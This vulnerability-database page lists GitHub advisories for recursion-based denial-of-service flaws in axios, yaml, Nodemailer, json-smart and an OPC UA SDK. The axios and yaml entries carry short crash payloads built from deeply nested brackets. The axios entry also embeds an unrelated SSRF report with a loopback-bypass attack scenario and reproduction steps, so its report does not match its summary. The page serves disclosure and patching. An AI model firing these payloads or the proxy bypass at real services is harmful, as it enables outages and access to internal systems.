Vulnerability-Lookup

GHSA-42H9-826W-CGV3

Vulnerability from github – Published: 2026-07-20 17:58 – Updated: 2026-09-01 18:40

Summary

Axios: Excessive recursion in formDataToJSON can cause denial of service

Details

Summary

Axios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON, the helper behind the public axios.formToJSON() / named formToJSON API and the default request transform used when FormData is sent with an application/json content type.

Applications are affected when they pass attacker-controlled FormData field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw RangeError: Maximum call stack size exceeded, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.

Impact

The impact is denial of service against applications that process untrusted FormData field names through axios' FormData-to-JSON conversion.

The vulnerable path is not reached by merely installing axios, by normal multipart FormData pass-through, or by ordinary axios requests that do not request JSON serialisation of FormData. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of formToJSON() throws synchronously.

Server-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with formToJSON() or sends them through axios as JSON.

Affected Functionality

Affected APIs and paths: - axios.formToJSON(formData) - import { formToJSON } from "axios" - lib/helpers/formDataToJSON.js - axios default transformRequest when data is FormData and Content-Type contains application/json

Unaffected or lower-risk paths: - Normal multipart FormData requests without JSON Content-Type - toFormData() object-to-FormData serialisation, which already has a maxDepth guard - Axios versions before 0.28.0, where this helper and public API were not present

Technical Details

lib/helpers/formDataToJSON.js parses a form field name into path segments with parsePropPath(). For a key such as a[x][x][x], each bracketed segment becomes another path element.

formDataToJSON() then calls the nested buildPath(path, value, target, index) function. buildPath() recursively calls itself once for each path segment and does not enforce a maximum depth:

const result = buildPath(path, value, target[name], index);

A key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws RangeError: Maximum call stack size exceeded.

Axios already applies a depth guard to the inverse serializer in lib/helpers/toFormData.js, where maxDepth defaults to 100 and exceeding it throws AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED. formDataToJSON() does not currently have equivalent protection.

Proof of Concept of Attack

import { formToJSON } from "axios";

const fd = new FormData();
fd.append("a" + "[x]".repeat(15000), "value");

try {
  formToJSON(fd);
  console.log("not vulnerable");
} catch (err) {
  console.log(`${err.constructor.name}: ${err.message}`);
}

Expected vulnerable result:

RangeError: Maximum call stack size exceeded

The axios request transform path can also be reached before network I/O:

import axios from "axios";

const fd = new FormData();
fd.append("a" + "[x]".repeat(15000), "value");

await axios
  .post("http://127.0.0.1:1/", fd, {
    headers: { "Content-Type": "application/json" }
  })
  .catch((err) => console.log(`${err.constructor.name}: ${err.message}`));

Expected vulnerable result:

RangeError: Maximum call stack size exceeded

Workarounds

Applications can avoid the vulnerable path by not converting attacker-controlled FormData to JSON with axios.

If conversion is required before a fixed axios release is available, validate FormData field names before calling formToJSON() or before sending FormData with Content-Type: application/json. Reject keys whose parsed nesting depth exceeds the application's expected schema.

For axios requests carrying untrusted FormData, avoid setting Content-Type: application/json; leaving the data as multipart FormData bypasses formDataToJSON().

Catching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation.

Original Report # Axios SSRF via Incomplete Loopback Detection ## CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L --- ## 1. Classification | CWE | CVSS Score | Severity | Type | |-----|-----------|----------|------| | CWE-918 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) | HIGH | Server-Side Request Forgery | ## 2. Description ### Summary The `shouldBypassProxy()` function in Axios fails to recognise `0.0.0.0`, `::`, and `::ffff:0.0.0.0` as loopback addresses. When `NO_PROXY=localhost` is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface. ### Root Cause **File:** `lib/helpers/shouldBypassProxy.js` **`isIPv4Loopback` (lines 3-8):** Only checks for `127.x.x.x` addresses by inspecting `parts[0] !== '127'`. The `0.0.0.0` address has `parts[0] === '0'`, so it falls through as non-loopback, even though on Linux `0.0.0.0` routes to the loopback interface. **`isIPv6Loopback` (lines 10-38):** Only checks `host === '::1'`. The `::` address (unspecified IPv6) also routes to the loopback, but is not recognised. **Attack Flow:**

isIPv4Loopback (line 3) — fails for 0.0.0.0
  → isLoopback (line 44) — wraps both checks, returns false
    → shouldBypassProxy (line 127) — PUBLIC API, exported default
      → lib/adapters/http.js (line 190) — Node.js HTTP adapter

### Attack Vector - **Access Vector:** Network (AV:N) - **Access Complexity:** Low (AC:L) — attacker only needs control of a URL - **Privileges Required:** None (PR:N) - **User Interaction:** None (UI:N) ## 3. Proof of Concept ### Phase 1: Logic Verification

import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';

// Normal loopback — correctly returns true (bypasses proxy)
shouldBypassProxy('http://127.0.0.1:9999/');  // → true

// Vulnerable — returns false (goes through proxy!)
shouldBypassProxy('http://0.0.0.0:9999/');    // → false  ← SSRF
shouldBypassProxy('http://[::]:9999/');        // → false  ← SSRF
shouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF

### Phase 2: Docker E2E Reproduction A full 3-container Docker reproduction was created and tested: - **Proxy container:** Simple HTTP forward proxy on port 8888 - **Internal container:** Internal service on port 9999 (simulates sensitive internal resource) - **Attacker container:** Runs the test script with Axios source mounted **Reproduction steps:**

cd /tmp/deep-e2e
docker compose up -d
docker compose exec attacker node test-ssrf.js

**Results:** - Test 1: `127.0.0.1 + NO_PROXY=localhost` → BYPASS (correct) - Test 2: `0.0.0.0 + NO_PROXY=localhost` → VIA_PROXY (SSRF) - Test 3: `[::] + NO_PROXY=localhost` → VIA_PROXY (SSRF) - Test 4: `[::ffff:0.0.0.0] + NO_PROXY=localhost` → VIA_PROXY (SSRF) ### Phase 3: Actual Axios Client The real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration: - Axios with `proxy: { host: 'proxy', port: 8888 }` - Setting `NO_PROXY=localhost` and requesting `http://0.0.0.0:9999/` - Result: Axios forwarded the request through the proxy instead of bypassing it ## 4. Impact ### Attack Scenario 1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain) 2. The Axios client is configured with a proxy (e.g., corporate proxy) and `NO_PROXY=localhost` to protect internal services 3. Attacker supplies `http://0.0.0.0:8080/admin` as the target URL 4. Axios sends the request through the proxy 5. The proxy resolves `0.0.0.0` → the proxy's own loopback → reaches the internal admin service on port 8080 ### Potential Consequences - **Information disclosure (C:L):** Internal service responses become accessible - **Integrity impact (I:L):** Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE) - **Availability impact (A:L):** Limited — depends on internal service behavior ### Likelihood - **High** — proxy bypass is a common pattern in microservice architectures - **Medium** — requires attacker control of a URL (not always available) ## 5. Remediation ### Code Fix **File:** `lib/helpers/shouldBypassProxy.js`

function isIPv4Loopback(host) {
  if (host === '0.0.0.0') return true;  // ADD THIS LINE
  const parts = host.split('.');
  if (parts.length !== 4) return false;
  if (parts[0] !== '127') return false;
  return parts.every(p => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);
}

function isIPv6Loopback(host) {
  if (host === '::1' || host === '::') return true;  // ADD '::'
  // ... rest of implementation
}

### Workarounds - Add `0.0.0.0` and `::` to the `NO_PROXY` environment variable explicitly - Use `127.0.0.1` instead of `0.0.0.0` in all internal service URLs - Implement URL validation to reject `0.0.0.0` and `::` before passing to Axios

Severity

6.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.28.0"
            },
            {
              "fixed": "0.33.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T17:58:59Z",
    "nvd_published_at": "2026-08-06T22:18:25Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nAxios versions `0.28.0` and later contain uncontrolled recursion in `formDataToJSON`, the helper behind the public `axios.formToJSON()` / named `formToJSON` API and the default request transform used when FormData is sent with an `application/json` content type.\n\nApplications are affected when they pass attacker-controlled `FormData` field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw `RangeError: Maximum call stack size exceeded`, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.\n\n## Impact\nThe impact is denial of service against applications that process untrusted `FormData` field names through axios\u0027 FormData-to-JSON conversion.\n\nThe vulnerable path is not reached by merely installing axios, by normal multipart `FormData` pass-through, or by ordinary axios requests that do not request JSON serialisation of `FormData`. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of `formToJSON()` throws synchronously.\n\nServer-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with `formToJSON()` or sends them through axios as JSON.\n\n## Affected Functionality\nAffected APIs and paths:\n- `axios.formToJSON(formData)`\n- `import { formToJSON } from \"axios\"`\n- `lib/helpers/formDataToJSON.js`\n- axios default `transformRequest` when `data` is `FormData` and `Content-Type` contains `application/json`\n\nUnaffected or lower-risk paths:\n- Normal multipart `FormData` requests without `JSON Content-Type`\n- `toFormData()` object-to-FormData serialisation, which already has a `maxDepth` guard\n- Axios versions before 0.28.0, where this helper and public API were not present\n\n## Technical Details\n`lib/helpers/formDataToJSON.js` parses a form field name into path segments with `parsePropPath()`. For a key such as `a[x][x][x]`, each bracketed segment becomes another path element.\n\n`formDataToJSON()` then calls the nested `buildPath(path, value, target, index)` function. `buildPath()` recursively calls itself once for each path segment and does not enforce a maximum depth:\n\n`const result = buildPath(path, value, target[name], index);`\n\nA key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws `RangeError: Maximum call stack size exceeded`.\n\nAxios already applies a depth guard to the inverse serializer in `lib/helpers/toFormData.js`, where `maxDepth` defaults to 100 and exceeding it throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`. `formDataToJSON()` does not currently have equivalent protection.\n\n## Proof of Concept of Attack\n```js\nimport { formToJSON } from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\ntry {\n  formToJSON(fd);\n  console.log(\"not vulnerable\");\n} catch (err) {\n  console.log(`${err.constructor.name}: ${err.message}`);\n}\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\nThe axios request transform path can also be reached before network I/O:\n\n```js\nimport axios from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\nawait axios\n  .post(\"http://127.0.0.1:1/\", fd, {\n    headers: { \"Content-Type\": \"application/json\" }\n  })\n  .catch((err) =\u003e console.log(`${err.constructor.name}: ${err.message}`));\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\n## Workarounds\nApplications can avoid the vulnerable path by not converting attacker-controlled `FormData` to JSON with axios.\n\nIf conversion is required before a fixed axios release is available, validate `FormData` field names before calling `formToJSON()` or before sending `FormData` with `Content-Type: application/json`. Reject keys whose parsed nesting depth exceeds the application\u0027s expected schema.\n\nFor axios requests carrying untrusted `FormData`, avoid setting `Content-Type: application/json`; leaving the data as multipart FormData bypasses `formDataToJSON()`.\n\nCatching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n# Axios SSRF via Incomplete Loopback Detection\n## CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n\n---\n\n## 1. Classification\n\n| CWE | CVSS Score | Severity | Type |\n|-----|-----------|----------|------|\n| CWE-918 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) | HIGH | Server-Side Request Forgery |\n\n## 2. Description\n\n### Summary\nThe `shouldBypassProxy()` function in Axios fails to recognise `0.0.0.0`, `::`, and `::ffff:0.0.0.0` as loopback addresses. When `NO_PROXY=localhost` is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy\u0027s loopback interface.\n\n### Root Cause\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n**`isIPv4Loopback` (lines 3-8):** Only checks for `127.x.x.x` addresses by inspecting `parts[0] !== \u0027127\u0027`. The `0.0.0.0` address has `parts[0] === \u00270\u0027`, so it falls through as non-loopback, even though on Linux `0.0.0.0` routes to the loopback interface.\n\n**`isIPv6Loopback` (lines 10-38):** Only checks `host === \u0027::1\u0027`. The `::` address (unspecified IPv6) also routes to the loopback, but is not recognised.\n\n**Attack Flow:**\n```\nisIPv4Loopback (line 3) \u2014 fails for 0.0.0.0\n  \u2192 isLoopback (line 44) \u2014 wraps both checks, returns false\n    \u2192 shouldBypassProxy (line 127) \u2014 PUBLIC API, exported default\n      \u2192 lib/adapters/http.js (line 190) \u2014 Node.js HTTP adapter\n```\n\n### Attack Vector\n- **Access Vector:** Network (AV:N)\n- **Access Complexity:** Low (AC:L) \u2014 attacker only needs control of a URL\n- **Privileges Required:** None (PR:N)\n- **User Interaction:** None (UI:N)\n\n## 3. Proof of Concept\n\n### Phase 1: Logic Verification\n\n```javascript\nimport shouldBypassProxy from \u0027axios/lib/helpers/shouldBypassProxy.js\u0027;\n\n// Normal loopback \u2014 correctly returns true (bypasses proxy)\nshouldBypassProxy(\u0027http://127.0.0.1:9999/\u0027);  // \u2192 true\n\n// Vulnerable \u2014 returns false (goes through proxy!)\nshouldBypassProxy(\u0027http://0.0.0.0:9999/\u0027);    // \u2192 false  \u2190 SSRF\nshouldBypassProxy(\u0027http://[::]:9999/\u0027);        // \u2192 false  \u2190 SSRF\nshouldBypassProxy(\u0027http://[::ffff:0.0.0.0]:9999/\u0027); // \u2192 false \u2190 SSRF\n```\n\n### Phase 2: Docker E2E Reproduction\n\nA full 3-container Docker reproduction was created and tested:\n\n- **Proxy container:** Simple HTTP forward proxy on port 8888\n- **Internal container:** Internal service on port 9999 (simulates sensitive internal resource)\n- **Attacker container:** Runs the test script with Axios source mounted\n\n**Reproduction steps:**\n```bash\ncd /tmp/deep-e2e\ndocker compose up -d\ndocker compose exec attacker node test-ssrf.js\n```\n\n**Results:**\n- Test 1: `127.0.0.1 + NO_PROXY=localhost` \u2192 BYPASS (correct) \n- Test 2: `0.0.0.0 + NO_PROXY=localhost` \u2192 VIA_PROXY (SSRF) \n- Test 3: `[::] + NO_PROXY=localhost` \u2192 VIA_PROXY (SSRF) \n- Test 4: `[::ffff:0.0.0.0] + NO_PROXY=localhost` \u2192 VIA_PROXY (SSRF) \n\n### Phase 3: Actual Axios Client\n\nThe real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration:\n- Axios with `proxy: { host: \u0027proxy\u0027, port: 8888 }` \n- Setting `NO_PROXY=localhost` and requesting `http://0.0.0.0:9999/`\n- Result: Axios forwarded the request through the proxy instead of bypassing it\n\n## 4. Impact\n\n### Attack Scenario\n1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain)\n2. The Axios client is configured with a proxy (e.g., corporate proxy) and `NO_PROXY=localhost` to protect internal services\n3. Attacker supplies `http://0.0.0.0:8080/admin` as the target URL\n4. Axios sends the request through the proxy\n5. The proxy resolves `0.0.0.0` \u2192 the proxy\u0027s own loopback \u2192 reaches the internal admin service on port 8080\n\n### Potential Consequences\n- **Information disclosure (C:L):** Internal service responses become accessible\n- **Integrity impact (I:L):** Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE)\n- **Availability impact (A:L):** Limited \u2014 depends on internal service behavior\n\n### Likelihood\n- **High** \u2014 proxy bypass is a common pattern in microservice architectures\n- **Medium** \u2014 requires attacker control of a URL (not always available)\n\n## 5. Remediation\n\n### Code Fix\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\nfunction isIPv4Loopback(host) {\n  if (host === \u00270.0.0.0\u0027) return true;  // ADD THIS LINE\n  const parts = host.split(\u0027.\u0027);\n  if (parts.length !== 4) return false;\n  if (parts[0] !== \u0027127\u0027) return false;\n  return parts.every(p =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255);\n}\n\nfunction isIPv6Loopback(host) {\n  if (host === \u0027::1\u0027 || host === \u0027::\u0027) return true;  // ADD \u0027::\u0027\n  // ... rest of implementation\n}\n```\n\n### Workarounds\n- Add `0.0.0.0` and `::` to the `NO_PROXY` environment variable explicitly\n- Use `127.0.0.1` instead of `0.0.0.0` in all internal service URLs\n- Implement URL validation to reject `0.0.0.0` and `::` before passing to Axios",
  "id": "GHSA-42h9-826w-cgv3",
  "modified": "2026-09-01T18:40:38Z",
  "published": "2026-07-20T17:58:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67313"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68942"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11000"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11001"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.33.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.18.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formdatatojson"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service"
}

GHSA-43G9-FMQ9-JJPM

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-10-08 00:00

Details

Products with Unified Automation .NET based OPC UA Client/Server SDK Bundle: Versions V3.0.7 and prior (.NET 4.5, 4.0, and 3.5 Framework versions only) are vulnerable to an uncontrolled recursion, which may allow an attacker to trigger a stack overflow.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-27434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-20T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "Products with Unified Automation .NET based OPC UA Client/Server SDK Bundle: Versions V3.0.7 and prior (.NET 4.5, 4.0, and 3.5 Framework versions only) are vulnerable to an uncontrolled recursion, which may allow an attacker to trigger a stack overflow.",
  "id": "GHSA-43g9-fmq9-jjpm",
  "modified": "2022-10-08T00:00:21Z",
  "published": "2022-05-24T19:02:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27434"
    },
    {
      "type": "WEB",
      "url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-133-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-46J5-6FG5-4GV3

Vulnerability from github – Published: 2025-12-18 09:30 – Updated: 2026-02-03 17:37

Summary

Duplicate Advisory: Nodemailer is vulnerable to DoS through Uncontrolled Recursion

Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-rcmh-qjqh-p98v. This link is maintained to preserve external references.

Original Description

A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-674",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-18T22:43:39Z",
    "nvd_published_at": "2025-12-18T09:15:44Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-rcmh-qjqh-p98v. This link is maintained to preserve external references.\n\n## Original Description\nA flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.",
  "id": "GHSA-46j5-6fg5-4gv3",
  "modified": "2026-02-03T17:37:53Z",
  "published": "2025-12-18T09:30:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14874"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-14874"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418133"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: Nodemailer is vulnerable to DoS through Uncontrolled Recursion",
  "withdrawn": "2026-02-03T17:37:53Z"
}

GHSA-48C2-RRV3-QJMP

Vulnerability from github – Published: 2026-03-25 20:08 – Updated: 2026-03-27 21:34

Summary

yaml is vulnerable to Stack Overflow via deeply nested YAML collections

Details

Parsing a YAML document with yaml may throw a RangeError due to a stack overflow.

The node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a RangeError: Maximum call stack size exceeded with a small payload (~2–10 KB). The RangeError is not a YAMLParseError, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application's exception handling, this can fail requests or terminate the Node.js process.

Flow sequences allow deep nesting with minimal bytes (2 bytes per level: one [ and one ]). On the default Node.js stack, approximately 1,000–5,000 levels of nesting (2–10 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation).

Note: the library's Parser (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion.

All three public parsing APIs are affected: YAML.parse(), YAML.parseDocument(), and YAML.parseAllDocuments().

PoC

const YAML = require('yaml');

// ~10 KB payload: 5000 levels of nested flow sequences
const payload = '['.repeat(5000) + '1' + ']'.repeat(5000);

try {
  YAML.parse(payload);
} catch (e) {
  console.log(e.constructor.name); // RangeError (NOT YAMLParseError)
  console.log(e.message);          // Maximum call stack size exceeded
}

Test environment: Node.js v24.12.0, macOS darwin arm64

Version	Nesting Depth	Input Size	Result
1.0.0	5,000	10,001 B	RangeError
1.10.2	5,000	10,001 B	RangeError
2.0.0	5,000	10,001 B	RangeError
2.8.2	5,000	10,001 B	RangeError
2.8.3	5,000	10,001 B	YAMLParseError

Depth threshold on yaml 2.8.2:

Nesting Depth	Input Size	Result
500	1,001 B	Parses successfully
1,000	2,001 B	RangeError (threshold varies by stack size)
5,000	10,001 B	RangeError

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T20:08:24Z",
    "nvd_published_at": "2026-03-26T20:16:15Z",
    "severity": "MODERATE"
  },
  "details": "Parsing a YAML document with `yaml` may throw a RangeError due to a stack overflow.\n\nThe node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a `RangeError: Maximum call stack size exceeded` with a small payload (~2\u201310 KB). The `RangeError` is not a `YAMLParseError`, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application\u0027s exception handling, this can fail requests or terminate the Node.js process.\n\nFlow sequences allow deep nesting with minimal bytes (2 bytes per level: one `[` and one `]`). On the default Node.js stack, approximately 1,000\u20135,000 levels of nesting (2\u201310 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation).\n\nNote: the library\u0027s `Parser` (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion.\n\nAll three public parsing APIs are affected: `YAML.parse()`, `YAML.parseDocument()`, and `YAML.parseAllDocuments()`.\n\n### PoC\n\n```javascript\nconst YAML = require(\u0027yaml\u0027);\n\n// ~10 KB payload: 5000 levels of nested flow sequences\nconst payload = \u0027[\u0027.repeat(5000) + \u00271\u0027 + \u0027]\u0027.repeat(5000);\n\ntry {\n  YAML.parse(payload);\n} catch (e) {\n  console.log(e.constructor.name); // RangeError (NOT YAMLParseError)\n  console.log(e.message);          // Maximum call stack size exceeded\n}\n```\n\nTest environment: Node.js v24.12.0, macOS darwin arm64\n\n| Version | Nesting Depth | Input Size | Result |\n|---|---|---|---|\n| 1.0.0 | 5,000 | 10,001 B | RangeError |\n| 1.10.2 | 5,000 | 10,001 B | RangeError |\n| 2.0.0 | 5,000 | 10,001 B | RangeError |\n| 2.8.2 | 5,000 | 10,001 B | RangeError |\n| 2.8.3 | 5,000 | 10,001 B | YAMLParseError |\n\nDepth threshold on yaml 2.8.2:\n\n| Nesting Depth | Input Size | Result |\n|---|---|---|\n| 500 | 1,001 B | Parses successfully |\n| 1,000 | 2,001 B | RangeError (threshold varies by stack size) |\n| 5,000 | 10,001 B | RangeError |",
  "id": "GHSA-48c2-rrv3-qjmp",
  "modified": "2026-03-27T21:34:51Z",
  "published": "2026-03-25T20:08:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eemeli/yaml/security/advisories/GHSA-48c2-rrv3-qjmp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33532"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eemeli/yaml/commit/1e84ebbea7ec35011a4c61bbb820a529ee4f359b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eemeli/yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eemeli/yaml/releases/tag/v1.10.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eemeli/yaml/releases/tag/v2.8.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "yaml is vulnerable to Stack Overflow via deeply nested YAML collections"
}

GHSA-493P-PFQ6-5258

Vulnerability from github – Published: 2023-03-23 20:32 – Updated: 2026-08-04 22:06

Summary

json-smart Uncontrolled Recursion vulnerability

Details

Impact

Affected versions of net.minidev:json-smart are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object.

When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software.

Patches

This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug.

Workarounds

N/A

References

https://www.cve.org/CVERecord?id=CVE-2023-1370
https://nvd.nist.gov/vuln/detail/CVE-2023-1370
https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

